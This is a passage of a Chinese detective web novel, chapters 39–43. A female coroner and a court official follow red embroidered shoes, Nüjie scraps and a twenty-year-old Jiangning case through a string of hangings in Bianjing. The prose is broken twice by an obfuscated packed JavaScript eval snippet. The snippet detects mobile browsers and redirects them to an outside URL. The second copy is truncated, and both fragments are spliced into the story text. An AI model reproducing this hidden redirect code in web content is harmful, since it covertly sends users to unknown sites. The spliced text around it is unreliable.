这次她将鞋彻底拆开,鞋面与鞋底之间,除了那片《女诫》残页,再无异物。 “谢大人,相大人,请看这里。” 谢知津俯身,明荔指着并蒂莲的一片花瓣:“绣法很特别。寻常平绣是一针压一针,但这片花瓣的针脚是反着走的。” 她就算再不懂女工,也能瞧出不同。 “这是反针绣,也叫藏魂针。”明荔解释,“江南一带的绣法,相传绣娘用此针法时,要屏息凝神,一针刺入,一线穿魂。但因为太耗神,会的人已经很少了。” “你可知晓是哪里的绣娘吗? 39. 第 39 章 “针脚好,收针处有轻微的捻转,这是江宁绣派的习惯。”明荔顿了顿,“而且,鞋底的纳法也很特别。千层底,但每层布之间刷了薄薄的米浆,这样既耐磨又不硌脚。这种工艺,我只在……” “在哪里见过?” 明荔抬眼:“前任仵作的验尸笔记上写道,沈家绣娘专研此法。” “沈家绣坊现在如何?” “早没了。”明荔摇头,“五年前一场大火,绣坊烧成白地,当家的沈娘子葬身火海。据说她有一手绝活,就是这千层底,反针绣。” 窗外传来梆子声,三更了。 谢知津走到案前,那里摆着死者柳氏的妆奁。他打开匣子,里面除了胭脂水粉,还有几封信札。抽出其中一封,展开。 信很简短,只有一行字: “廿三亥时,老地方见。事成之后,必有重谢。” 没有落款,字迹潦草。 谢知津将信递给明荔:“廿三,就是昨日。亥时……” 纸是寻常竹纸,墨是松烟墨,并无特殊。但信纸边缘有个极淡的印子,像是被什么压过。 她将信纸侧过来,顺着烛光的方向看。印子呈现出模糊的轮廓像是一朵花。 “桃花吗?”她不确定。 谢知津取过信纸,看了片刻,忽然道:“周推官。” 候在门外的周显连忙进来。 “去查两件事。”谢知津语速很快,“第一,京城中,哪家绣坊或绣娘会反针绣,尤其擅长做千层底。第二,陈府上下,谁喜欢桃花,或者这几日,府中是否出现过桃花花。” 周显领命而去。 “谢大人使唤我的人倒是得心应手。”相齐负手而立,冷眼瞧他。 谢知津也不遑多让,“查案所需,相大人如此宽宏,想来也不会计较。” 明荔重新为柳氏穿好衣裳,盖上白布。那双红绣鞋,她仔细包好,放入验尸箱。 明荔想起那片《女诫》残页:“卑弱第一古者生女三日,卧之床下这讲的是女子天生卑弱,当敬顺夫君。” “三个死者,都是女子。”谢知津看着之前的验尸格目,“一个富商女,一个琴师,一个官妾,死状都是一样的” 相齐走到案前,拿起那片《女诫》残页,“这纸很旧了,至少存放了十年以上。边缘裁切整齐,是精心保存的。” 他抬头:“明仵作,若是你,会如何继续查?” 明荔想了想:“从绣鞋入手。这样的手艺不会凭空出现,要么是家传,要么是师承。只要找到绣鞋的来源,就离凶手近了一步。” “还有呢?” “三名死者之间的关联。”明荔说,“表面没有交集的人,可能在某个地方有过接触。比如同一个寺庙上香,同一个医馆看病,或者买过同一样东西。” / 卯时刚过,钟声便穿透薄雾,惊起院中柏树上栖着的寒鸦。 明荔踏进大理寺时,几个书吏正抱着卷宗匆匆穿过回廊,青石地板上留下一串湿漉漉的脚印。 听到里头有说话的声音,她便在庑廊下站了片刻,待无声之时才叩门。 “进来。” 推门而入,正堂内三人同时转头。正中端坐的谢知津仍着深青襕袍,只是换了条玉带;左侧坐着相齐;右侧却是个陌生面孔,约莫四十出头,穿着浅绯色公服,胸前补子上绣着云雁当是四品文官。 “见过诸位大人。”明荔垂首行礼。 “不必多礼。”谢知津示意她起身,“这位是刑部郎中杜文谦,奉旨协查此案。” 杜文谦微微颔首,“下管见过郡主。” “明姑娘,”相齐先开口,“昨夜陈府的验尸格目,可已完备?” “已誊抄清楚。”明荔从箱中取出三份文书,一一呈上,“分别是富商女李氏、琴师赵氏,以及昨夜陈府柳氏的验尸记录。” 杜文谦接过最上面一份,翻开细看。 “颈有扼痕,生前悬吊指甲缝有胭脂残留脚未缠足,鞋小一寸……”他低声念着,忽然抬头,“郡主,这些推断,可有旁证?” “胭脂残屑已取样封存,可送玉香斋比对。”明荔答道,“至于鞋与脚不符,只需脱鞋丈量便知。只是前两案验尸时,并未脱鞋详查。” 杜文谦与相齐对视一眼。 相齐沉声道,“按《刑统》仵作章程,验女尸须有女眷在场,且若非必要,不得裸露尸身。开封府前两次验尸,皆依律而行。郡主昨夜所为,虽是为了查案,但终究……” “终究是查出真问题了,不是吗?”谢知津打断他,指尖轻叩案上那份格目,“相府尹,若按章程查案便能天下太平,那还要大理寺复核做什么?” 气氛陡然紧绷。 杜文谦干咳一声,打圆场道:“谢寺卿所言有理。只是此案牵涉甚广,三日内连发三起,如今满城风雨。下官来时,坊间已有传闻,说是鬼媒人作祟,专挑未缠足的女子配阴婚……” “无稽之谈。”谢知津冷声道,“凶手是人,不是鬼。装神弄鬼,恰恰说明她怕被人发现。” 谢知津看向明荔。 明荔会意,从箱中取出昨夜包好的红绣鞋,小心铺在案上:“诸位大人请看。” 晨光透过窗棂,落在鞋面上。那缠枝并蒂莲的绣纹在光下纤毫毕现,金线银线交错,竟似活了一般。 “这绣工……”杜文谦俯身细看,眼中露出讶色,“绝非寻常绣娘所为。” “杜郎中好眼力。”明荔道,“此乃江宁反针绣,又称藏魂针。绣时需屏息凝神,一针一线皆有法度。尤其这千层底的纳法。”她翻转鞋底,指着边缘细密的针脚,“每层布刷米浆,九层叠纳,最后用蜂蜡封边。这是江宁沈家绣坊的独门手艺。” “沈家绣坊?”杜文谦似想起什么,“可是五年前毁于大火的那家?” “正是。” “那就奇了。”杜文谦沉吟, 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“哪三位?”谢知津问。 “一位是礼部刘主簿的家眷,一位是城南绸缎商苏家的女儿,还有一位……”明荔顿了顿,“掌柜说,是个戴帷帽的女子,看不清面容,但声音很年轻。付钱时,用的是金叶子。” “金叶子?”相齐皱眉,“寻常百姓用铜钱、交子,官宦富商用银锭,用金叶子的……要么是家底极厚,要么是不愿让人看出钱庄来历。” 谢知津沉吟片刻:“前两位死者,指甲缝中是否也有异物?” 明荔摇头:“李氏的验尸格目是我后补的,当时尸身已下葬,无从查验。赵氏……”她翻出第二份格目,“赵氏的指甲修剪得很短,缝里很干净。但我在她右手虎口处,发现了一点墨迹。” “墨迹?” “像是写字时沾上的。”明荔道,“赵氏是琴师,按理说不该常碰笔墨。但那点墨痕渗入皮肤纹理,应是反复沾染所致。” 杜文谦忽然道:“琴师赵氏,可是在清音阁奏琴的那位?” “正是。” “那就对了。”杜文谦从袖中取出一本册子,翻开几页,“下官今早调阅了开封府的案卷。这赵氏原名赵月娥,原籍江宁,三年前才来汴京。她在清音阁并非头牌,但有一桩怪事。每隔旬日,便会告假一日,说是去城外观音院上香。可下官派人去观音院问过,那里的姑子说,从没见过这位赵施主。” “她在撒谎。”相齐道,“一个琴师,每月固定消失一日,去做什么?” 谢知津看向明荔:“昨夜你说,柳氏身上有旧伤,生前可能长期受虐。那前两位死者呢?” “李氏脖颈除索沟外无其他外伤,但我在她左手手腕内侧,发现一道极淡的割痕很旧,至少是数年前的。”明荔回忆着,“赵氏则是在右肩胛处,有一小块烫伤的疤痕,形状像是香烛烫的。” 40. 第 40 章 “杜郎中,”谢知津忽然道,“你方才说坊间传闻‘鬼媒人’,这说法从何而起?” 杜文谦苦笑:“下官也是听刑部的小吏们议论。说是西城有个专做阴婚生意的媒婆,姓沈,人称沈鬼媒。专替早夭的男女说亲,从中收取厚利。传闻她手里有一本鸳鸯册,记着汴京未嫁夭亡的女子名姓,只要给够钱,她就能配一门阴亲。” 杜文谦道,“这沈婆子今年少说也有五十了,住在城西寿安坊。下官已派人去查。” 正说着,堂外传来急促的脚步声。 一个身着青色公服的年轻官员匆匆而入,是谢知津的属官周蔚。他手中捧着一卷泛黄的卷宗,面色凝重。 “寺卿,您让查的江宁旧案,有眉目了。” 谢知津接过卷宗,迅速展开。 卷宗纸张已然脆黄,墨迹也有些晕染,但字迹尚清晰。 案卷记载,江宁府沈家绣坊当家娘子沈云容,于二十年前重阳夜失踪。坊中绣娘次日发现她房门虚掩,屋内整洁如常,唯独绣架上绷着的一幅百子千孙图只绣了一半,针还插在绢上。 诡异的是,沈云容的绣床边,整整齐齐摆着一双红绣鞋。 鞋面绣缠枝并蒂莲,千层底,反针绣。 江宁府查了三个月,毫无线索。沈云容生不见人,死不见尸,此案最终成了悬案。 而卷宗末尾附了一页证物单。 “绣鞋内衬夹层,发现《女诫》残页一片,文曰‘夫妇第二’。” 她猛地抬头,正对上谢知津深邃的目光。 二十年前的江宁,二十年后的汴京。 同样的红绣鞋,同样的《女诫》残页。 “寺卿,”周蔚压低声音,“还有一事。今早城门司来报,昨夜四更天,有辆马车从保康门出城,守卒盘查时,车里是个戴帷帽的女子,说是家中有急事要回江宁。守卒见她有官府的路引,便放行了。” “路引是谁开的?” “开封府。”周蔚看了一眼相齐,“签押的是周显周推官。” 相齐脸色骤变:“不可能!周显昨日一直在陈府办案,哪有空开什么路引!” “但签押印鉴确是真的。”周蔚取出一张抄录的文书,“守卒记下了路引编号,是‘开字三百四十七号’。下官已去开封府查过,这份路引是三日前开出的,领用人登记的是沈氏,用途是归乡探亲。” “沈氏……”杜文谦喃喃,“又是沈。” 谢知津合上卷宗,指尖在案上轻叩。 “相府尹,烦请你立刻回开封府,查清这份路引的来龙去脉。” “杜郎中,劳你亲自去一趟寿安坊,会会那位‘沈鬼媒’。” 二人去后,堂内只剩谢知津与明荔二人。 晨光已经完全铺满庭院,廊下那株老柏树的影子斜斜投进堂内。 “你怎么看?”谢知津忽然问。 明荔沉吟片刻:“二十年前的案子,凶手很可能还活着。如果沈云容当年没死,那她现在应该……” “四十余岁。”谢知津接口,“与那位沈鬼媒年纪相仿。” “但动机呢?”明荔蹙眉,“如果真是沈云容,她为什么要杀这些女子?她们与她素不相识。” 谢知津走到窗边,望着院中那片被阳光照得发亮的青苔:“或许不是仇恨,而是……仪式。二十年前,有人用红绣鞋和《女诫》对她做了什么。二十年后,她在重复这个仪式,只是角色变了,她从受害者,变成了施害者。” 他转过身,目光落在明荔脸上:“你说,什么样的人,会如此执着于一个仪式?” 明荔想起父亲说过的话:“要么是疯子,要么是信徒。” “疯子行事无序,信徒却有章法。”谢知津走回案前,重新翻开那份江宁卷宗,“你看这里,当年查案的捕快记录,沈云容失踪前三个月,曾去江宁府衙报过案,说有人夜夜在她窗外放桃花。” 桃花。 明荔心中一凛,从箱中取出昨夜桥头那束花:“寺卿,昨夜我在保康门桥头发现了这个。” 谢知津接过花束,细看那丝带上的胭脂痕。又凑近轻嗅,眉头微蹙:“醉芙蓉。” “和柳氏指甲缝里的一样。” 他忽然想起什么:“你说柳氏指甲缝里的胭脂,可能是凶手的。那如果凶手自己也用醉芙蓉,她就不怕留下痕迹?” 明荔一怔:“除非,她不在乎。或者说,她希望我们顺着这条线索查下去。” “查到哪里?” “玉香斋。”明荔眼睛一亮,“掌柜说买胭脂的第三个女子用金叶子付账。金叶子少见,钱庄都有记录。只要查出谁兑过金叶子……” “周蔚!”谢知津扬声。 一直在门外候命的周蔚应声而入。 “去查汴京所有钱庄、金银铺,最近三个月,谁兑过金叶子,尤其是面额小的、方便随身携带的那种。” “是。” 周蔚离去后,谢知津走到舆图前,指尖在江宁的位置重重一点。 “如果真是沈云容,她为什么要回江宁?那里有她要找的人,还是有她要了结的事?” 明荔忽然想起昨夜验尸时的一个细节:“寺卿,柳氏身上的旧伤,有几处在腰背,形状像是被藤条抽的。而我父亲说过,有些大户人家惩罚妾室,会用浸过盐水的藤条。” 谢知津转身:“你是说,柳氏在陈府过得并不好?” “陈侍郎以惧内闻名,正室夫人出身显赫。”明荔斟酌着词句,“昨夜那些女眷中,有个穿檀色褙子的妇人,一直冷眼看着,不曾落泪。我后来问过丫鬟,那是陈夫人的陪嫁嬷嬷。” “所以柳氏之死,陈府内部可能有人乐见其成。”谢知津若有所思,“但凶手是如何得知柳氏处境,又为何选她下手?” 堂外忽然传来一阵喧哗。 一个衙役气喘吁吁跑进来:“寺,寺卿!不好了!寿安坊那边出事了!” “杜郎中刚找到沈婆子的住处,就找到沈婆子的住处,就,就发现她……”衙役咽了口唾沫,“吊死在房梁上!脚上……也穿着一双红绣鞋!” 堂内空气骤然低了几分。 第四双鞋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925754|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么快。 谢知津抓起佩刀:“备马!去寿安坊!” / 寿安坊在汴京西城,多是平民聚居的窄巷。 沈婆子的住处藏在一条巷子深处,是座独门小院,门前有棵老槐树,枝叶几乎盖住了半边屋顶。 院外围满了人,皆是坊中百姓,个个伸长了脖子往里瞧,脸上混杂着恐惧与好奇。几个开封府的衙役正费力地维持秩序。 谢知津与明荔下马时,杜文谦正从院里出来,脸色煞白。 “寺卿。”他声音发颤,“下官刚到,叫门不应,推门进去就看见,悬在正堂梁上,已经没气了。” “红绣鞋呢?”谢知津问。 “脚上穿着。”杜文谦深吸一口气,“和前三双一模一样。” 明荔提起箱子:“我去验尸。” “等等。”谢知津拦住她,目光扫过院外围观的人群,“周蔚,清场。所有人退出十丈外,未经允许不得靠近。” 待院门关上,隔绝了外界的目光,明荔才随谢知津踏入正堂。 堂内光线昏暗,只靠一扇小窗透进些微天光。房梁正中,一个人影悬在那里,随着从门缝钻进来的风,轻轻晃动。 是个老妇,穿着青布衣裙,头发花白,用一根木簪绾着。她的脸朝着门口,眼睛圆睁,嘴角还带着一丝笑。 明荔定了定神,先观察四周。堂内陈设简陋,一桌两椅,靠墙有个神龛,供着一尊瓷观音。 桌上摆着茶壶茶盏,壶里的茶还是温的。 她走到尸身下方,仰头细看。 颈间的绳索是麻绳,打着个死结。凳子倒在脚边,是寻常的方凳。 “杜郎中,”她问,“你进来时,门是闩着的吗?” “是从里面闩上的。”杜文谦道,“下官是撞开门进来的。” “窗户呢?” “都从里面扣死了。” 明荔蹲下身检查凳子。凳面有灰尘,但靠里的位置有两个清晰的鞋印,那是沈婆子自己的鞋印。 她站起身,开始验尸。 尸身尚有余温,死亡时间不超过一个时辰。颈间索沟呈马蹄形,斜向耳后,在颈后中断,是典型的自缢痕迹。颜面青紫肿胀,舌尖微吐,符合窒息死亡特征。 看起来,像是自杀。 指甲缝很干净,掌心有老茧,是常年劳作留下的。右手虎口处,有一点细微的擦伤。 “这里有血。”她轻声道。 谢知津俯身来看。擦伤很浅,只破了表皮,渗出的血已经凝固。 “像是被什么粗糙的东西蹭过。”明荔凑近细看,“麻绳?” “如果是自缢,抓握麻绳时确实可能擦伤。”杜文谦道。 明荔不置可否,继续检查。她褪下沈婆子脚上的红绣鞋,同样比脚小,也是强行穿上的。 但这次,鞋底有泥。 新鲜的,潮湿的泥土,还沾着几片草叶。 谢知津道,“死者应当不是自杀,鞋底泥土还未干,约摸是在院子里呆了没多久入内后便遇害了。” 41. 第 41 章 明荔将鞋子小心收好,又开始检查沈婆子的衣襟。 在衣襟内侧的夹层里,她摸到一个硬物。 取出来,是个小小的油纸包。 展开,里面是一绺用红绳系着的头发—。很黑,是年轻人的头发,一同放置你,还有一张叠成方胜的纸。 谢知津接过纸,小心展开。 纸上用娟秀的楷书写着四行诗: “栀子香残秋露冷, 绣鞋血染旧时痕。 廿年旧债今方偿, 犹向黄泉问故魂。” 没有落款。 但诗的左下角,用朱砂画了一朵小小的桃花。 “廿年旧债……”杜文谦喃喃,“果然是二十年前的事。” 明荔却盯着那绺头发:“这发质,不像是老妇人的。” “也许是她女儿的?”杜文谦猜测。 谢知津将纸重新叠好:“沈婆子可有子女?” “坊正说,她有个女儿,但十六年前就病死了。”杜文谦答道,“据说死的时候才十四岁。” “十六年前……”明荔算着时间,“怎么死的?” “坊正也说不清,只说是急病。死后就葬在城西乱葬岗,连块碑都没有。” 谢知津走到神龛前,瓷观音前供着一碟干果,香炉里的香灰还是温的。他伸手摸了摸观音像,忽然动作一顿。 观音像背后,刻着字。 很小,很浅,像是用簪子一类的东西刻上去的。 他凑近细看,缓缓念出: “云容泣血,天道宁论。” 云容。 沈云容。 明荔和杜文谦同时屏住了呼吸。 “沈婆子,莫非就是沈云容?”杜文谦难以置信。 “也不一定,或者,她是沈云容的什么人。”谢知津转身,目光扫过这间简陋的堂屋,“如果她是沈云容,那二十年前失踪后,她就改名换姓躲到了京州。可她为什么要扮成鬼媒人?又为什么现在突然开始杀人?” 明荔想起那首诗:“‘廿年旧债今方偿’……她要向谁讨债?” 门外忽然传来周蔚的声音:“寺卿!钱庄那边有消息了!” 谢知津快步走出:“说。” “永丰钱庄的掌柜说,上月十八,有个戴帷帽的女子去兑过金叶子,共兑了二十片,每片一两重。”周蔚递上一张纸,“这是兑票的存根,签的名字是……赵月娥。” 琴师赵氏。 谢知津接过存根,看着上面娟秀的字迹,眼神骤然冷冽。 “赵月娥兑的金叶子,买的是醉芙蓉胭脂。而买胭脂的第三个女子,用的也是金叶子。”他缓缓道,“如果这第三个女子就是凶手,那她和赵月娥……” “认识。”明荔接口,“或者说,赵月娥在帮她。” 杜文谦倒吸一口凉气:“所以赵月娥不是第二个受害者,她是帮凶?那她的死……” “是灭口。”谢知津道,“凶手在清除知情者。” 他大步走向院门:“周蔚,立刻派人去赵月娥的住处,掘地三尺也要找出她和凶手往来的证据。杜郎中,你留在此处继续勘查。” 他看向明荔:“随我去个地方。” “去哪里?” “乱葬岗。”谢知津翻身上马,“我要看看,沈婆子的女儿,到底是怎么死的。” / 出城往西十里,有一片荒坡。因是官府划定的乱葬岗,平日少有人至,只有乌鸦成群盘旋,在枯树梢头发出嘶哑的啼鸣。 谢知津和明荔到时,开封府的仵作已经按杜文谦的吩咐找到了那座孤坟。 坟很小,几乎被荒草淹没。没有墓碑,只在坟头压了块石头。 “就是这里。”带路的坊正搓着手,脸上带着惧色,“沈婆子当年没钱买棺木,只用草席裹了女儿下葬。这些年,她年年清明都来烧纸。” 谢知津下马,走到坟前。他俯身拨开草丛,露出底下湿润的泥土。 “挖开。”他命令道。 两个衙役犹豫了一下,还是拿起铁锹开始挖土。 泥 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回城的路上,两人都没说话。 直到看见保康门城楼时,谢知津忽然勒住马,转头问: “你说凶手为什么要选未缠足的女子?” 明荔想了想:“也许是在惩罚,也许是在解救。” “解救?” “缠足是枷锁,不缠足是自由。”明荔轻声道,“可凶手给她们穿上更小的鞋,像是在说:你以为你自由了?不,这世上的枷锁,从来不止一种。” 谢知津深深看了她一眼,没再说话。 城门就在眼前,灯火次第亮起,将汴京的夜点缀得流光溢彩。 而那双红绣鞋的主人,也许正走在这片流光里,与无数人擦肩而过。 她是谁? 她还要杀多少人? 没有人知道。 夜色,彻底降临了。 42. 第 42 章 酉时三刻,暮鼓响过第七遍。 瓦肆的灯笼次第亮起时,周蔚从清音阁的后巷里钻出来,肩上落了一层薄灰。他手里提着个蓝布包袱,快步穿过人群,拐进一条僻静小巷。 巷子尽头,有扇不起眼的小门。周蔚叩门三声,两轻一重。 门开了条缝,谢知津站在门后,烛光在他身后投出长长的影子。 “寺卿。”周蔚闪身而入,将包袱放在桌上,“赵月娥的住处,是间租在二楼的厢房。东西不多,但搜出了这个。” 他解开包袱,里面是几件半旧的衣裙、一盒胭脂,一把断了弦的琵琶。还有一个小木匣,上了锁。 谢知津取出腰间匕首,轻轻一撬。 锁簧弹开,匣子里铺着红绸,上面躺着一枚金铃。 铃不大,只有小指指甲盖大小,却打造得极为精巧。 “金铃……”谢知津拿起铃细看,在铃身内侧发现一行极小的刻字。 他凑到烛光下,缓缓念出: “天圣九年,内造。” 内造。 皇宫之物。 周蔚倒吸一口凉气:“寺卿,这……” “还有别的吗?”谢知津神色不变。 “有。”周蔚又从怀中掏出几封信,“藏在琵琶的共鸣箱里,用油纸封着。” 信一共三封,都没有落款,纸张是最上等的澄心堂纸,带着极淡的龙涎香气。字迹娟秀,像是女子的手笔。 第一封只有一句话: “廿三亥时,老地方见。事成之后,必有重谢。” 正是陈府柳氏妆奁里发现的那句话,字迹一模一样。 第二封内容稍多: “东西已收到,确是故人之物。旧债未偿,新怨又生。既入此局,便无退路。切记,勿留痕。” 第三封最奇怪,是一首诗: “金铃响处鬼门开, 绣履血染旧亭台。 廿载冤魂今何在? 犹向深宫索命来。” 诗的下方,画着一个小小的符号。 三个圆圈套在一起,像三只眼睛。 谢知津盯着那个符号看了许久,从袖中取出沈婆子堂屋里发现的那张诗笺,两相对照。 字迹相同。 笔锋走势,起承转合,甚至廿字的写法都如出一辙。 “是同一个人写的。”他低声道,“给赵月娥的信,和在沈婆子处留的诗,出自同一人之手。” “那赵月娥果然是帮凶。”周蔚恍然,“可她为什么要帮凶手?又为什么最后也被杀了?” 谢知津没回答。他走到窗边,推开一条缝。夜色已浓,巷子里传来更夫的梆子声,还有远处瓦肆的笙箫。 “清音阁的老鸨怎么说?” “赵月娥是三年前来的,说是江宁人,家里遭了灾,来汴京投亲不遇。”周蔚回忆着,“她琴艺不错,但性子孤僻,不常接客。每月告假一日,老鸨起初不许,但她给的钱多,后来也就随她去了。” “给的钱?”谢知津敏锐地抓住重点,“一个琴师,哪来那么多钱?” “老鸨说,赵月娥手头阔绰,穿的用的都是好东西。但她从不说钱是哪来的。”周蔚顿了顿,“还有一件事。赵月娥左手手腕有道疤,像是割伤。老鸨曾问她,她说是小时候不小心弄的。” 验尸格目曾言,赵月娥手腕有旧疤。 谢知津转身:“赵月娥在汴京,可有什么相熟的人?” “有个常来找她的姐妹,也是清音阁的姑娘,叫秋棠。”周蔚道,“下官已经派人去请了,应该快到了。” 话音刚落,门外传来脚步声。 一个衙役领着个穿桃红褙子的年轻女子进来。 女子约莫十八九岁,眉眼姣好,但脸色发白,眼中带着惧色。 “民,民女秋棠,见过大人。”她盈盈下拜。 “不必多礼。”谢知津示意她坐下,“你与赵月娥相熟?” 秋棠绞着手中的帕子:“是相熟的,月娥性子冷,但心肠好。我刚来时被人欺负,是她护着我。” “她可曾跟你提过她的过去?比如江宁的事,家人?” 秋棠摇头:“月娥姐从不提家里。我只知道,她每个月都要去城外一趟,说是上香,但我总觉得不像。” “为什么?” “因为她每次回来,身上都带着一股香味。”秋棠回忆道,“不是佛寺的檀香,倒像是桃花香。” 又是桃花。 谢知津与周蔚对视一眼。 “她最后一次出门,是什么时候?”谢知津问。 “就是她死的前一天。”秋棠声音低了下去,“那天她回来得很晚,脸色很差。我问她怎么了,她只摇头,说‘有些债,该还了。” “债?” “嗯。”秋棠点头,“她还说,说她见到一个人,一个她以为早就死了的人。” 堂内烛火跳了一下。 “什么人?”谢知津追问。 “她没说。”秋棠咬着唇,“但那晚她一直在弹琴,弹的是《汉宫秋月》,一遍又一遍,弹到弦都断了。” 谢知津沉默片刻,从匣中取出那枚金铃:“这个,你可见过?” 秋棠凑近看了看,忽然“啊”了一声。 “怎么?” “这是月娥姐的宝贝。”秋棠小声道,“她从不离身,用红绳系着,挂在脖子上。有次我不小心碰了,她发了很大的脾气。” “她可说过这铃的来历?” 秋棠摇头:“但她说过一句话,我到现在还记得。” “什么话?” “这铃一响,就该有人还债了。” 窗外忽然起了风,吹得窗纸哗哗作响。远处隐隐传来雷声,像是要下雨了。 谢知津让周蔚送秋棠回去,自己坐在案前,将那枚金铃托在掌心。 内造,天圣九年。 那是十九年前。 如果这铃真是赵月娥的,那她与皇宫有关?一个琴师,如何得到宫中之物? 又或者,这铃不是她的,而是凶手的? 谢知津闭上眼,将所有线索在脑中铺开。 良久,他猛地睁开眼。 “周蔚!” 刚送人回来的周蔚推门而入:“寺卿?” “去查两件事。”谢知津语速很快,“第一,天圣九年,宫中可有女子失踪或暴毙?尤其与江宁有关的。第二,查清音阁这三年的账目,看赵月娥的钱到底从哪来。” “是。” 周蔚离去后,谢知津起身走到墙边,那里挂着一幅舆图随后,用炭笔在图上标出四个点。 甜水巷,榆林巷,保康门街,寿安坊。 四个点连成一个不规则的四边形。 而在四边形的中心,是—— 大相国寺。 他盯着那个位置看了许久,忽然想起明荔说过的话。 “李氏死于甜水巷,毗邻大相国寺后街,那里多胭脂水粉铺。” 玉香斋就在大相国寺后街。 谢知津抓起佩刀:“备马,去大相国寺。” / 雨开始下了。 起初是疏疏落落的几点,还带着鲜草的香气。等谢知津赶到相国寺时,雨势已经转急,屋檐下挂起了水帘。 寺门早已关闭,只有侧门还开着,供晚课的僧人出入。谢知津亮出腰牌,知客僧连忙将他引到客堂。 “大人深夜到访,不知有何事?”知客僧小心翼翼地奉上茶。 “本官想问问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢知津接过簪子,凑到灯下细看。在簪身内侧,他发现一行小字: “赠云容,愿如栀子,岁岁年年。” 云容。 沈云容。 “她下次什么时候来?”谢知津问。 “说不准。”慧明道,“但她每月十五必来。说是祭奠什么人。” 今日是十三。 还有两天。 谢知津谢过僧人,撑着伞走出寺门,雨更大了,砸在脸上,甚至会有些疼。 他翻身上马,正要回大理寺,忽然听见远处传来一阵喊声。 是金明池方向。 他勒转马头,朝着声音来处疾驰而去。 / 金明池畔的撷芳园,今夜有诗会。 本是京州文人雅士的寻常聚会,却因突降的暴雨乱了套。宾客们挤在廊下躲雨,仆役们忙着收拾被雨打湿的笔墨纸砚。 谢知津赶到时,园主正急得团团转。 “寺卿,您可来了!”园主像是抓住了救命稻草,“出,出事了!林学士家的千金……不见了!” “林学士?”谢知津心下一沉,“可是礼部侍郎林清源?” “正是!”园主脸色发白,“林小姐方才还在水榭赏荷,一转眼就不见了,丫鬟找了整个园子,都没找着!” “什么时候的事?” “就半个时辰前,雨刚开始下的时候。” 谢知津大步走向水榭,那是座建在池上的亭子,四面通透,处在亭中赏雨是极佳的位置。 亭内石桌上,摆着未写完的诗笺。笔墨还在,镇纸下压着一页纸,上面写了两句诗: “夜雨敲荷惊宿鹭,金玲。” 第三句只写了开头两个字,墨迹未干。 而桌角,放着桃花树枝。 他自言自语道, “金铃响处鬼门开……” 43. 第 43 章 他猛地转身:“园中可有人听见铃声?” 一个躲雨的乐工怯生生举手:“小人,小人好像听见了,那声音时而轻,时而重,像是从池对岸传来的。” “池对岸是哪里?” “是,是片废弃的藕塘,早就荒了。” 谢知津转身冲进雨幕。 “周蔚!带人搜园!一寸一寸地搜!” / 雨越下越大。 撷芳园占地三十余亩,亭台楼阁错落,此时全都笼在雨雾里,影影绰绰,看不真切。衙役们举着火把分散搜索,火光在雨水中晕开一团团暖黄色的光。 谢知津亲自带人搜那片废弃的藕塘。 塘里早就没了荷花,只剩枯梗败叶,颇有萧瑟之感。 塘边有座小亭,已经塌了一半,檐角挂着破蛛网。 “寺卿!这里有脚印!”一个衙役喊道。 谢知津快步过去。 那脚印,很小,很浅。脚印朝着藕塘深处延伸,随即便消失在乱草中。 他顺着脚印往前,草越来越深,雨水顺着草叶流下,打湿了他的袍角。 走了约莫百步,眼前出现一座小石桥。桥已经断了,只剩下几个桥墩孤零零立在水中。 而在断桥的桥墩上,放着一双鞋。 红绣鞋。 鞋边,用石头压着一张纸。 谢知津小心取下纸,就着衙役的火把看。 纸上写着: “第四双。游戏继续。” 字迹娟秀,与之前的诗笺,信件一模一样。 “寺卿!”另一个衙役从草丛里钻出来,手里捧着一件东西,“找到这个!” 是一件女子的外衫,水绿色的。衫子湿透了,沾满了泥,但还能看是上等布料。 “是林小姐的衣裳随后赶来的林府丫鬟惊呼,“小姐今早出门时穿的,就是这件!” 谢知津握紧了那件湿透的衣衫。 第四名女子。 他抬头望向雨幕深处。 夜色如墨,雨声如瀑,整个撷芳园在雨中摇晃,像一艘即将沉没的船。 “找到林小姐没有?”谢知津问刚刚搜寻回来的衙役。 “并没有,属下里里外外都找遍了,并未看见林小姐。” 未曾找到尸体,便说明林小姐可能还活着,谢知津微松了口气。 “寺卿,现在怎么办?”周蔚抹了把脸上的雨水。 谢知津沉默许久,缓缓道:“派人将林小姐的画像贴出去有知情不报者与凶手同罪,另外将此处围了,明儿一早,你再带人来探。” 回到大理寺时,已是子时。 雨小了些,但还没停。檐下的灯笼在风里摇晃,将廊下的水洼照得明明灭灭。 明荔还在殓房。 谢知津推门进去时,她正俯身在一具白布覆盖的尸身前,手里拿着银针,在烛光下细细查看什么。 “明荔。”他轻唤了一声。 明荔抬起头,眼中带着倦色,“撷芳园那边……” “林清源的女儿失踪了。”谢知津走到案前,将那双红绣鞋和那件湿衣衫放下,“现场留下这个,还有一张字条。” 明荔放下银针,走过来查看。 她先看了鞋,又拿起衣衫细看,忽然吭了一声,禁着鼻子。 “怎么?” “这衫子。”她将衣衫凑到鼻尖轻嗅,“有香味。” “是醉芙蓉没了?”他问。 “不。”明荔摇头,“像是檀香,但又有些不像,待明日再寻柳七先生来问问吧。” 谢知津想起那枚金铃,因明荔从小在宫中长大,若宫中出过什么事,她身为郡主且服侍在太后身边也应该会知晓。 “明荔,”他问,“你可听说过,天圣九年,宫中出过什么事?” 明荔思索片刻:“天圣九年,我那时还小,但听太后提过一句,说那年宫里走了水,烧死了好几个人。” 明荔不确定,“听服侍我的姑姑说,那才人进宫前是绣娘,一手刺绣绝活,很得太后喜欢。可惜命薄,才封了才人半年,就赶上那场大火。” “确定烧死了?” “烧得面目全非,只能凭随身玉佩辨认。”明荔顿了顿,“但那玉佩后来听说有问题,好像不是沈才人平日戴的那块。” 